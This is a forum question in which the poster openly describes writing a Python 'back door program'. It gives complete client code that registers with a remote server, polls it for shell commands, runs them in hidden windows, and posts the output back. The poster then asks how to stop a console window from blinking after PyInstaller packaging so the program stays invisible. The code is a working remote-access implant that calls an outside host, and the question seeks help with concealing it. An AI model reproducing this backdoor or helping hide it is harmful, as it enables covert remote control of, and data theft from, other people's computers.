python program packed by Pyinstaller shows blinking window on windows - windows

Question

I am trying to write a back door program with python.
I design the program with client-server architecture.
Here is the code of client.
from subprocess import PIPE, Popen, CREATE_NO_WINDOW
from typing import List, Optional
from datetime import datetime
from time import sleep
from threading import Thread
from socket import socket, AF_INET, SOCK_DGRAM
from getmac import get_mac_address as gma
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
SERVER_PORT = 8080
SERVER_ADDRESS = 'https://example.com:' + str(SERVER_PORT)
def get_ip() -> str:
s = socket(AF_INET, SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
s.close()
return ip
def get_mac() -> str:
return gma().replace(':', '')
def announce() -> List[str]:
requests.post(f'{SERVER_ADDRESS}/announce/{get_id()}', verify=False)
def get_id() -> str:
return get_ip() + '_' + get_mac()
def get_command() -> Optional[List[str]]:
try:
r = requests.get(f'{SERVER_ADDRESS}/command/{get_id()}', verify=False)
except requests.exceptions.ConnectionError:
print('Connection to server error.')
return None
if r.status_code == 200:
r = json.loads(r.text)
status = int(r['status'])
if status == 1:
print(f'Get a command from server.')
return r['command']
else:
return None
else:
print(f'Server returned status code {r.status_code}.')
print(f'Here is the response from server:\n{r.text}')
print()
def run_command():
while True:
command = get_command()
if command is not None:
p = Popen(command, shell=True, stdout=PIPE, stderr=PIPE, creationflags=CREATE_NO_WINDOW)
stdout, stderr = p.communicate()
data = {
'command': command,
'result': stdout.decode() + stderr.decode(),
'timestamp': datetime.now().strftime('%Y.%m.%d %H:%M:%S'),
}
requests.post(f'{SERVER_ADDRESS}/result/{get_id()}', json=data, verify=False)
sleep(5)
announce()
Thread(target=run_command).start()
The program runs well and I pack the python file to exe file with PyInstaller with the following command on windows.
pyinstaller -F -w program.py
-F for one-file
-w for window hidding
The packed program(exe file) runs well, but a windows terminal window shows with about 1Hz frequency. The behavior is strange and I need help.
The blinking window is NOT caused by subprocess because the window keep blinking even if I don't give any command to client.
I have googled the problem for a short time, but there is nothing helpful. I don't know the reason why the window keep blinking, and I think that is the point to explain why I just find nothing.